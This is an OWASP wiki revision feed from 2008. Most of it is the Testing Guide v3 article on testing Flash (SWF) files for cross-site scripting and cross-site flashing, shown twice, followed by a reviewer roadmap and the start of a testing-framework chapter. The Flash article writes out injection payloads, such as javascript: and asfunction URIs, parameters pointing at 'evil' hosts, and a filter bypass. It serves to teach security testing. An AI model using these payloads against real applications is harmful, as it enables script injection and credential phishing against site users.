* Direct XSS: &amp;lt;a href='javascript:alert(123)' &amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Call AS function: &amp;lt;a href='asfunction:function,arg' &amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Call Swf public functions: &lt;br /&gt;
    &amp;lt;a href='asfunction:_root.obj.function, arg'&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Call Native Static AS Function:&lt;br /&gt;
&amp;lt;a href='asfunction:System.Security.allowDomain,evilhost' &amp;gt;&lt;br /&gt;
&lt;br /&gt;
Img tag could be used as well:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;img src='http://evil/evil.swf' &amp;gt;&lt;br /&gt;
* &amp;lt;img src='javascript:evilcode//.swf' &amp;gt; (.swf is necessary to bypass flash player internal filter)&lt;br /&gt;
&lt;br /&gt;
Note: since release 124 of Flash player Xss is no more exploitable, but GUI modification could still &lt;br /&gt;
be accomplished.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Cross Site Flashing ===&lt;br /&gt;
&lt;br /&gt;
Cross Site Flashing (XSF) is a vulnerability which has a similar impact than with Xss.&lt;br /&gt;
&lt;br /&gt;
XSF Occurs when from different domains:&lt;br /&gt;
&lt;br /&gt;
* One Movie loads another Movie with loadMovie* functions or other hacks and has access to the same sandbox or part of it&lt;br /&gt;
* XSF could also occurs when an HTML page uses JavaScript to command a Macromedia Flash movie, for example, by calling:&lt;br /&gt;
** GetVariable: access to flash public and static object from javascript as a string.&lt;br /&gt;
** SetVariable: set a static or public flash object to a new  string value from javascript. &lt;br /&gt;
* Unexpected Browser to swf communication could result in stealing data from swf application.&lt;br /&gt;
&lt;br /&gt;
It could be perfomed by forcing a flawed swf to load an external evil flash file.&lt;br /&gt;
&lt;br /&gt;
This attack could result in Xss or in the modification of the GUI in order to fool a user to &lt;br /&gt;
insert credentials on a fake flash form.&lt;br /&gt;
&lt;br /&gt;
XSF could be used in presence of Flash Html Injection or external swf files when loadMovie*&lt;br /&gt;
methods are used.&lt;br /&gt;
&lt;br /&gt;
=== Attacks and Flash Player Version ===&lt;br /&gt;
&lt;br /&gt;
Since May 2007 three new versions of Flash player were released by Adobe.&lt;br /&gt;
Every new version restricts some of the attacks previously described.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
| Attack         | asfunction | ExternalInterface | GetURL  | Html Injection | &lt;br /&gt;
| Player Version |&lt;br /&gt;
| v9.0 r47/48    |  Yes       |   Yes             | Yes     |     Yes        |&lt;br /&gt;
| v9.0 r115      |  No        |   Yes             | Yes     |     Yes        |&lt;br /&gt;
| v9.0 r124      |  No        |   Yes             | Yes     |     Partially  |&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting and Cross Site Flashing are the expected results on a flawed SWF file.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Testing Flash Applications: A new attack vector for XSS and XSFlashing: http://www.owasp.org/images/8/8c/OWASPAppSec2007Milan_TestingFlashApplications.ppt&lt;br /&gt;
&lt;br /&gt;
* Finding Vulnerabilities in Flash Applications: http://www.owasp.org/images/d/d8/OWASP-WASCAppSec2007SanJose_FindingVulnsinFlashApps.ppt&lt;br /&gt;
&lt;br /&gt;
* Adobe Security: http://www.adobe.com/devnet/flashplayer/articles/flash_player9_security_update.html&lt;br /&gt;
&lt;br /&gt;
* Securing SWF Applications: http://www.adobe.com/devnet/flashplayer/articles/secure_swf_apps.html&lt;br /&gt;
&lt;br /&gt;
* The Flash Player Development Center Security Section: http://www.adobe.com/devnet/flashplayer/security.html&lt;br /&gt;
&lt;br /&gt;
* The Flash Player 9.0 Security Whitepaper: http://www.adobe.com/devnet/flashplayer/articles/flash_player_9_security.pdf&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* SWFIntruder: https://www.owasp.org/index.php/Category:SWFIntruder&lt;br /&gt;
&lt;br /&gt;
* Decompiler – Flare: http://www.nowrap.de/flare.html&lt;br /&gt;
&lt;br /&gt;
* Compiler – MTASC: &amp;lt;http://www.mtasc.org/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disassembler – Flasm: &amp;lt;http://flasm.sourceforge.net/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Swfmill – Convert Swf to XML and vice versa: &amp;lt;http://swfmill.org/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Debugger Version of Flash Plugin/Player: &amp;lt;http://www.adobe.com/support/flash/downloads.html&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Cross_site_flashing_(OTG-CLIENT-008)&amp;diff=39075</id>
		<title>Testing for Cross site flashing (OTG-CLIENT-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Cross_site_flashing_(OTG-CLIENT-008)&amp;diff=39075"/>
				<updated>2008-09-10T07:16:52Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Description of the Issue */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
ActionScript is the language, based on ECMAScript, used by Flash application when dealing with&lt;br /&gt;
interactive needs. &lt;br /&gt;
ActionScript, like every other language, has some implementation pattern which could lead to &lt;br /&gt;
security issues.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In particular, since Flash application are often embedded in browsers, vulnerabilities like DOM based Cross Site Scripting could be present in flawed Flash applications.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Since the first publication of &amp;quot;Testing Flash Applications&amp;quot; [1], new versions of Flash player &lt;br /&gt;
were released in order to mitigate some of the attacks which will be described.&lt;br /&gt;
Nevertheless some issue still remains exploitable because it strongly depends on developer insecure&lt;br /&gt;
programming practices.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
=== Decompilation ===&lt;br /&gt;
&lt;br /&gt;
Since SWF files are interpreted by a virtual machine embedded in the player itself, &lt;br /&gt;
they can be potentially decompiled and analysed.&lt;br /&gt;
The most known and free ActionScript 2.0 decompiler is flare.&lt;br /&gt;
&lt;br /&gt;
To decompile a swf file with flare just type:&lt;br /&gt;
&lt;br /&gt;
 $ flare hello.swf&lt;br /&gt;
&lt;br /&gt;
it will result in a new file called hello.flr.&lt;br /&gt;
&lt;br /&gt;
Decompilation helps testers in the process of testing because it&lt;br /&gt;
moves black box to white box.&lt;br /&gt;
&lt;br /&gt;
There's no free decompiler for ActionScript 3.0 at the moment.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Undefined Variables ===&lt;br /&gt;
&lt;br /&gt;
On actionscript 2 entry points are retrieved by looking at every undefined attribute &lt;br /&gt;
beloging to _root and _global objects, since Actionscript 2 behaves as every member &lt;br /&gt;
belonging to _root or _global objects were instantiable by &lt;br /&gt;
url querystring parameters. That means that if an attribute like:&lt;br /&gt;
&lt;br /&gt;
 _root.varname &lt;br /&gt;
&lt;br /&gt;
results &amp;quot;undefined&amp;quot; at some point of code flow, it could be overwritten by setting&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 http://victim/file.swf?varname=value&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  movieClip 328 __Packages.Locale {&lt;br /&gt;
&lt;br /&gt;
    #initclip&lt;br /&gt;
      if (!_global.Locale) {&lt;br /&gt;
        var v1 = function (on_load) {&lt;br /&gt;
          var v5 = new XML();&lt;br /&gt;
          var v6 = this;&lt;br /&gt;
          v5.onLoad = function (success) {&lt;br /&gt;
            if (success) {&lt;br /&gt;
              trace('Locale loaded xml');&lt;br /&gt;
              var v3 = this.xliff.file.body.$trans_unit;&lt;br /&gt;
              var v2 = 0;&lt;br /&gt;
              while (v2 &amp;lt; v3.length) {&lt;br /&gt;
                Locale.strings[v3[v2]._resname] = v3[v2].source.__text;&lt;br /&gt;
                ++v2;&lt;br /&gt;
              }&lt;br /&gt;
              on_load();&lt;br /&gt;
            } else {}&lt;br /&gt;
          };&lt;br /&gt;
          if (_root.language != undefined) {&lt;br /&gt;
            Locale.DEFAULT_LANG = _root.language;&lt;br /&gt;
          }&lt;br /&gt;
          v5.load(Locale.DEFAULT_LANG + '/player_' +&lt;br /&gt;
                              Locale.DEFAULT_LANG + '.xml');&lt;br /&gt;
        };&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Could be attacked by requesting:&lt;br /&gt;
&lt;br /&gt;
 http://victim/file.swf?language=http://evil&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Unsafe Methods ===&lt;br /&gt;
&lt;br /&gt;
When an entry point is identified the data it represents could be used by unsafe methods.&lt;br /&gt;
If the data is not filtered/validated using the right regexp it could lead to some security issue.&lt;br /&gt;
&lt;br /&gt;
Unsafe Methods since version r47 are:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
loadVariables()&lt;br /&gt;
loadMovie()&lt;br /&gt;
getURL()&lt;br /&gt;
loadMovie()&lt;br /&gt;
loadMovieNum()&lt;br /&gt;
FScrollPane.loadScrollContent()&lt;br /&gt;
LoadVars.load &lt;br /&gt;
LoadVars.send &lt;br /&gt;
XML.load ( 'url' )&lt;br /&gt;
LoadVars.load ( 'url' ) &lt;br /&gt;
Sound.loadSound( 'url' , isStreaming ); &lt;br /&gt;
NetStream.play( 'url' );&lt;br /&gt;
&lt;br /&gt;
flash.external.ExternalInterface.call(_root.callback)&lt;br /&gt;
&lt;br /&gt;
htmlText&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The Test ===&lt;br /&gt;
&lt;br /&gt;
In order to exploit a vulnerability the swf file should be hosted on the victim host, and&lt;br /&gt;
the techniques of reflected Xss must be used.&lt;br /&gt;
That is forcing the browser to load a pure swf file directly in the location bar &lt;br /&gt;
( by redirection or social engineering) or by loading it through an iframe from an evil page:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;iframe src='http://victim/path/to/file.swf'&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This is because in this situation the browser will self generate a Html page as if it were hosted &lt;br /&gt;
by the victim host.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Xss ===&lt;br /&gt;
&lt;br /&gt;
'''GetURL:'''&lt;br /&gt;
&lt;br /&gt;
GetURL Function lets the movie to load a URI into Browser's Window. &lt;br /&gt;
So if an undefined variable is used as first argument for getURL:&lt;br /&gt;
&lt;br /&gt;
 getURL(_root.URI,'_targetFrame');&lt;br /&gt;
&lt;br /&gt;
This means it's possible to call javascript in the same domain where the movie is hosted by &lt;br /&gt;
requesting:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 http://victim/file.swf?URI=javascript:evilcode&lt;br /&gt;
&lt;br /&gt;
 getURL('javascript:evilcode','_self');&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The same when only some part of getURL is controlled:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 Dom Injection with Flash javascript injection&lt;br /&gt;
 &lt;br /&gt;
	getUrl('javascript:function('+_root.arg+')) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''asfunction:'''&lt;br /&gt;
&lt;br /&gt;
&amp;quot;You can use the special asfunction protocol to cause &lt;br /&gt;
 the link to execute an ActionScript function in a SWF file &lt;br /&gt;
 instead of opening a URL...&amp;quot; ( Adobe.com )&lt;br /&gt;
&lt;br /&gt;
Until release r48 of Flash player asfunction could be used on every method which has a url&lt;br /&gt;
as argument.&lt;br /&gt;
&lt;br /&gt;
This means that a tester could try to inject:&lt;br /&gt;
&lt;br /&gt;
 asfunction:getURL,javascript:evilcode&lt;br /&gt;
&lt;br /&gt;
in every unsafe method like:&lt;br /&gt;
&lt;br /&gt;
 loadMovie(_root.URL)&lt;br /&gt;
&lt;br /&gt;
by requesting:&lt;br /&gt;
&lt;br /&gt;
 http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''ExternalInterface:'''&lt;br /&gt;
&lt;br /&gt;
ExternalInterface.call is a static method introduced by adobe to improve player/browser interaction.&lt;br /&gt;
&lt;br /&gt;
From a security point of view it could be abused when part of its argument could be controlled:&lt;br /&gt;
&lt;br /&gt;
 flash.external.ExternalInterface.call(_root.callback);&lt;br /&gt;
 &lt;br /&gt;
the attack pattern for this kind of flaw should be something like the following:&lt;br /&gt;
eval(evilcode)&lt;br /&gt;
&lt;br /&gt;
since the internal javascript which is executed by the browser will be something similar to:&lt;br /&gt;
&lt;br /&gt;
 eval('try { __flash__toXML('+__root.callback+') ; } catch (e) { &amp;quot;&amp;lt;undefined/&amp;gt;&amp;quot;; }')&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Html Injection ===&lt;br /&gt;
&lt;br /&gt;
TextField Objects can render minimal Html by setting:&lt;br /&gt;
&lt;br /&gt;
 tf.html = true&lt;br /&gt;
 tf.htmlText = '&amp;lt;tag&amp;gt;text&amp;lt;/tag&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
So if some part of text could be controlled by the tester, an a tag or a img tag could be &lt;br /&gt;
injected resulting in modifying the GUI or Xss the browser.&lt;br /&gt;
&lt;br /&gt;
Some Attack Example with A Tag:&lt;br /&gt;
&lt;br /&gt;
* Direct XSS: &amp;lt;a href='javascript:alert(123)' &amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Call AS function: &amp;lt;a href='asfunction:function,arg' &amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Call Swf public functions: &lt;br /&gt;
    &amp;lt;a href='asfunction:_root.obj.function, arg'&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Call Native Static AS Function:&lt;br /&gt;
&amp;lt;a href='asfunction:System.Security.allowDomain,evilhost' &amp;gt;&lt;br /&gt;
&lt;br /&gt;
Img tag could be used as well:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;img src='http://evil/evil.swf' &amp;gt;&lt;br /&gt;
* &amp;lt;img src='javascript:evilcode//.swf' &amp;gt; (.swf is necessary to bypass flash player internal filter)&lt;br /&gt;
&lt;br /&gt;
Note: since release 124 of Flash player Xss is no more exploitable, but GUI modification could still &lt;br /&gt;
be accomplished.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Cross Site Flashing ===&lt;br /&gt;
&lt;br /&gt;
Cross Site Flashing (XSF) is a vulnerability which has a similar impact than with Xss.&lt;br /&gt;
&lt;br /&gt;
XSF Occurs when from different domains:&lt;br /&gt;
&lt;br /&gt;
* One Movie loads another Movie with loadMovie* functions or other hacks and has access to the same sandbox or part of it&lt;br /&gt;
* XSF could also occurs when an HTML page uses JavaScript to command a Macromedia Flash movie, for example, by calling:&lt;br /&gt;
** GetVariable: access to flash public and static object from javascript as a string.&lt;br /&gt;
** SetVariable: set a static or public flash object to a new  string value from javascript. &lt;br /&gt;
* Unexpected Browser to swf communication could result in stealing data from swf application.&lt;br /&gt;
&lt;br /&gt;
It could be perfomed by forcing a flawed swf to load an external evil flash file.&lt;br /&gt;
&lt;br /&gt;
This attack could result in Xss or in the modification of the GUI in order to fool a user to &lt;br /&gt;
insert credentials on a fake flash form.&lt;br /&gt;
&lt;br /&gt;
XSF could be used in presence of Flash Html Injection or external swf files when loadMovie*&lt;br /&gt;
methods are used.&lt;br /&gt;
&lt;br /&gt;
=== Attacks and Flash Player Version ===&lt;br /&gt;
&lt;br /&gt;
Since May 2007 three new versions of Flash player were released by Adobe.&lt;br /&gt;
Every new version restricts some of the attacks previously described.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
| Attack         | asfunction | ExternalInterface | GetURL  | Html Injection | &lt;br /&gt;
| Player Version |&lt;br /&gt;
| v9.0 r47/48    |  Yes       |   Yes             | Yes     |     Yes        |&lt;br /&gt;
| v9.0 r115      |  No        |   Yes             | Yes     |     Yes        |&lt;br /&gt;
| v9.0 r124      |  No        |   Yes             | Yes     |     Partially  |&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting and Cross Site Flashing are the expected results on a flawed SWF file.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Testing Flash Applications: A new attack vector for XSS and XSFlashing: http://www.owasp.org/images/8/8c/OWASPAppSec2007Milan_TestingFlashApplications.ppt&lt;br /&gt;
&lt;br /&gt;
* Finding Vulnerabilities in Flash Applications: http://www.owasp.org/images/d/d8/OWASP-WASCAppSec2007SanJose_FindingVulnsinFlashApps.ppt&lt;br /&gt;
&lt;br /&gt;
* Adobe Security: http://www.adobe.com/devnet/flashplayer/articles/flash_player9_security_update.html&lt;br /&gt;
&lt;br /&gt;
* Securing SWF Applications: http://www.adobe.com/devnet/flashplayer/articles/secure_swf_apps.html&lt;br /&gt;
&lt;br /&gt;
* The Flash Player Development Center Security Section: http://www.adobe.com/devnet/flashplayer/security.html&lt;br /&gt;
&lt;br /&gt;
* The Flash Player 9.0 Security Whitepaper: http://www.adobe.com/devnet/flashplayer/articles/flash_player_9_security.pdf&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* SWFIntruder: https://www.owasp.org/index.php/Category:SWFIntruder&lt;br /&gt;
&lt;br /&gt;
* Decompiler – Flare: http://www.nowrap.de/flare.html&lt;br /&gt;
&lt;br /&gt;
* Compiler – MTASC: &amp;lt;http://www.mtasc.org/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disassembler – Flasm: &amp;lt;http://flasm.sourceforge.net/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Swfmill – Convert Swf to XML and vice versa: &amp;lt;http://swfmill.org/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Debugger Version of Flash Plugin/Player: &amp;lt;http://www.adobe.com/support/flash/downloads.html&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Project_v3_Review_Roadmap&amp;diff=39074</id>
		<title>OWASP Testing Project v3 Review Roadmap</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Project_v3_Review_Roadmap&amp;diff=39074"/>
				<updated>2008-09-10T07:12:47Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''This page track all the update to the Testing Guide v3 during the Reviewing phase.'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In particular the focus is:&amp;lt;br&amp;gt;&lt;br /&gt;
- Review the content of each article&amp;lt;br&amp;gt;&lt;br /&gt;
- Review the english sintax&amp;lt;br&amp;gt;&lt;br /&gt;
- no &amp;quot;attacker&amp;quot;, better &amp;quot;tester&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
- no &amp;quot;we describe&amp;quot;, but &amp;quot;it is described&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Official Testing Guide Reviewers are:&lt;br /&gt;
* Nam Nguyen&lt;br /&gt;
* Kevin R.Fuller&lt;br /&gt;
* if you want to review it add your name please and keep track of updating&lt;br /&gt;
&lt;br /&gt;
'''Nam Review:'''&lt;br /&gt;
----&lt;br /&gt;
Aug 31, 2008&lt;br /&gt;
* Appendix D&lt;br /&gt;
* Appendix C&lt;br /&gt;
* Appendix B&lt;br /&gt;
* Appendix A&lt;br /&gt;
* Chapter 5&lt;br /&gt;
** [[How to write the report of the testing]]&lt;br /&gt;
*** ``TO UPDATE WITH V3 controls`` is still in the article. Has it been updated to v3? '''(Mat: I'm updating it, thanks)'''&lt;br /&gt;
* Chapter 4&lt;br /&gt;
** Section 4.11 [[Testing for AJAX Vulnerabilities]]&lt;br /&gt;
*** There are mentioning of &amp;quot;attackers&amp;quot; but I think they are fine.&lt;br /&gt;
*** The subsection on Memory leaks is not complete.&lt;br /&gt;
** Section 4.11 [[Testing for AJAX]]&lt;br /&gt;
*** The subsection &amp;quot;Intercepting and Debugging JS code with Browsers&amp;quot; is very difficult to understand. I tried to fix it, but I'm afraid what I have might not reflect what the original author wanted to express.&lt;br /&gt;
&lt;br /&gt;
Sep 02, 2008&lt;br /&gt;
* Chapter 4&lt;br /&gt;
** Section 4.10&lt;br /&gt;
*** Subsection [[Testing for WS Replay]] Gray box testing and examples gives incomplete sample code. I believe the call to GetSessionIDMac() missed four parameters. In this same part, using SSL helps in preventing replay attack but it doesnt prevent replay attack by itself. In this same subection, the images show identifiable real Internet address in Hungary, should them be masked off?&lt;br /&gt;
&lt;br /&gt;
Sep 04, 2008&lt;br /&gt;
* Chapter 4&lt;br /&gt;
** Section 4.9&lt;br /&gt;
** Section 4.8&lt;br /&gt;
*** I'm not sure if format string could be classified under subsection 4.8.14 &amp;quot;Buffer overflow testing&amp;quot;.&lt;br /&gt;
*** Subsecion 4.8.3: Incomplete&lt;br /&gt;
*** Subsection 4.8.4: Incomplete&lt;br /&gt;
*** Subsection 4.8.5: What is &amp;quot;data-plane input&amp;quot;?&lt;br /&gt;
&lt;br /&gt;
Sep 06, 2008&lt;br /&gt;
* Chapter 4&lt;br /&gt;
** Section 4.8&lt;br /&gt;
&lt;br /&gt;
Sep 07, 2008&lt;br /&gt;
* Chapter 4&lt;br /&gt;
** Section 4.7&lt;br /&gt;
** Section 4.6&lt;br /&gt;
*** Subsection 4.6.1: &amp;quot;Review code for path traversal&amp;quot; does not exist in the Code Review Guide, or the link the broken.&lt;br /&gt;
** Section 4.5&lt;br /&gt;
&lt;br /&gt;
Sep 10, 2008&lt;br /&gt;
* Chapter 4&lt;br /&gt;
** Section 4.4&lt;br /&gt;
** Section 4.3&lt;br /&gt;
** Section 4.2&lt;br /&gt;
** Section 4.1&lt;br /&gt;
* Chapter 3&lt;br /&gt;
* Chapter 2&lt;br /&gt;
* Chapter 1&lt;br /&gt;
** [[Testing Guide Frontispiece]] still shows v2 editors and reviewers&lt;br /&gt;
** [[About The Open Web Application Security Project]] The link to the printed edition of the book is invalid. This page is a generally shared wiki page among all projects.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Kevin Review:'''&lt;br /&gt;
----&lt;br /&gt;
Date&amp;lt;br&amp;gt;&lt;br /&gt;
articles reviewed&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Date&amp;lt;br&amp;gt;&lt;br /&gt;
articles reviewed&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Questions: (Mat will answer it)&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=The_OWASP_Testing_Framework&amp;diff=39073</id>
		<title>The OWASP Testing Framework</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=The_OWASP_Testing_Framework&amp;diff=39073"/>
				<updated>2008-09-10T07:01:01Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Phase 2B: Design and Architecture Review */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
&lt;br /&gt;
This section describes a typical testing framework that can be developed within an organization. It can be seen as a reference framework that comprises techniques and tasks that are appropriate at various phases of the software development life cycle (SDLC). Companies and project teams can use this model to develop their own testing framework and to scope testing services from vendors. This framework should not be seen as prescriptive, but as a flexible approach that can be extended and molded to fit an organization’s development process and culture.&lt;br /&gt;
&lt;br /&gt;
This section aims to help organizations build a complete strategic testing process, and is not aimed at consultants or contractors who tend to be engaged in more tactical, specific areas of testing. &lt;br /&gt;
&lt;br /&gt;
It is critical to understand why building an end-to-end testing framework is crucial to assessing and improving software security. Howard and LeBlanc note in ''Writing Secure Code'' that issuing a security bulletin costs Microsoft at least $100,000, and it costs their customers collectively far more than that to implement the security patches. They also note that the US government’s CyberCrime web site (&amp;lt;u&amp;gt;http://www.cybercrime.gov/cccases.html&amp;lt;/u&amp;gt;) details recent criminal cases and the loss to organizations. Typical losses far exceed USD $100,000.&lt;br /&gt;
&lt;br /&gt;
With economics like this, it is little wonder why software vendors move from solely performing black box security testing, which can only be performed on applications that have already been developed, to concentrate on the early cycles of application development such as definition, design, and development.&lt;br /&gt;
&lt;br /&gt;
Many security practitioners still see security testing in the realm of penetration testing. As discussed before, while penetration testing has a role to play, it is generally inefficient at finding bugs and relies excessively on the skill of the tester. It should only be considered as an implementation technique, or to raise awareness of production issues. To improve the security of applications, the security quality of the software must be improved. That means testing the security at the definition, design, develop, deploy, and maintenance stages, and not relying on the costly strategy of waiting until code is completely built. &lt;br /&gt;
&lt;br /&gt;
As discussed in the introduction of this document, there are many development methodologies such as the Rational Unified Process, eXtreme and Agile development, and traditional waterfall methodologies. The intent of this guide is to suggest neither a particular development methodology nor provide specific guidance that adheres to any particular methodology. Instead, we are presenting a generic development model, and the reader should follow it according to their company process.&lt;br /&gt;
&lt;br /&gt;
This testing framework consists of the following activities that should take place:&lt;br /&gt;
&lt;br /&gt;
* Before Development Begins&lt;br /&gt;
* During Definition and Design&lt;br /&gt;
* During Development&lt;br /&gt;
* During Deployment&lt;br /&gt;
* Maintenance and Operations&lt;br /&gt;
&lt;br /&gt;
==Phase 1: Before Development Begins==&lt;br /&gt;
&lt;br /&gt;
Before application development has started:&lt;br /&gt;
&lt;br /&gt;
* Test to ensure that there is an adequate SDLC where security is inherent&lt;br /&gt;
* Test to ensure that the appropriate policy and standards are in place for the development team&lt;br /&gt;
* Develop the metrics and measurement criteria &lt;br /&gt;
&lt;br /&gt;
===Phase 1A: Review Policies and Standards===&lt;br /&gt;
&lt;br /&gt;
Ensure that there are appropriate policies, standards, and documentation in place. Documentation is extremely important as it gives development teams guidelines and policies that they can follow. &lt;br /&gt;
&lt;br /&gt;
''People can only do the right thing, if they know what the right thing is.''' '''''&lt;br /&gt;
&lt;br /&gt;
If the application is to be developed in Java, it is essential that there is a Java secure coding standard. If the application is to use cryptography, it is essential that there is a cryptography standard. No policies or standards can cover every situation that the development team will face. By documenting the common and predictable issues, there will be fewer decisions that need to be made during the development process.&lt;br /&gt;
&lt;br /&gt;
===Phase 1B: Develop Measurement and Metrics Criteria (Ensure Traceability)===&lt;br /&gt;
&lt;br /&gt;
Before development begins, plan the measurement program. By defining criteria that need to be measured, it provides visibility into defects in both the process and product. It is essential to define the metrics before development begins, as there may be a need to modify the process in order to capture the data.&lt;br /&gt;
&lt;br /&gt;
==Phase 2: During Definition and Design==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Phase 2A: Review Security Requirements===&lt;br /&gt;
&lt;br /&gt;
Security requirements define how an application works from a security perspective. It is essential that the security requirements be tested. Testing in this case means testing the assumptions that are made in the requirements, and testing to see if there are gaps in the requirements definitions. &lt;br /&gt;
&lt;br /&gt;
For example, if there is a security requirement that states that users must be registered before they can get access to the whitepapers section of a website, does this mean that the user must be registered with the system, or should the user be authenticated? Ensure that requirements are as unambiguous as possible. &lt;br /&gt;
&lt;br /&gt;
When looking for requirements gaps, consider looking at security mechanisms such as:&lt;br /&gt;
&lt;br /&gt;
* User Management (password reset etc.)&lt;br /&gt;
* Authentication&lt;br /&gt;
* Authorization&lt;br /&gt;
* Data Confidentiality&lt;br /&gt;
* Integrity&lt;br /&gt;
* Accountability&lt;br /&gt;
* Session Management&lt;br /&gt;
* Transport Security&lt;br /&gt;
* Tiered System Segregation&lt;br /&gt;
* Privacy&lt;br /&gt;
&lt;br /&gt;
===Phase 2B: Review Design and Architecture===&lt;br /&gt;
&lt;br /&gt;
Applications should have a documented design and architecture. By documented, we mean models, textual documents, and other similar artifacts. It is essential to test these artifacts to ensure that the design and architecture enforce the appropriate level of security as defined in the requirements. &lt;br /&gt;
&lt;br /&gt;
Identifying security flaws in the design phase is not only one of the most cost efficient places to identify flaws, but can be one of the most effective places to make changes. For example, if it is identified that the design calls for authorization decisions to be made in multiple places, it may be appropriate to consider a central authorization component. If the application is performing data validation at multiple places, it may be appropriate to develop a central validation framework (fixing input validation in one place, rather than in hundreds of places, is far cheaper).&lt;br /&gt;
&lt;br /&gt;
If weaknesses are discovered, they should be given to the system architect for alternative approaches.&lt;br /&gt;
&lt;br /&gt;
===Phase 2C: Create and Review UML Models===&lt;br /&gt;
&lt;br /&gt;
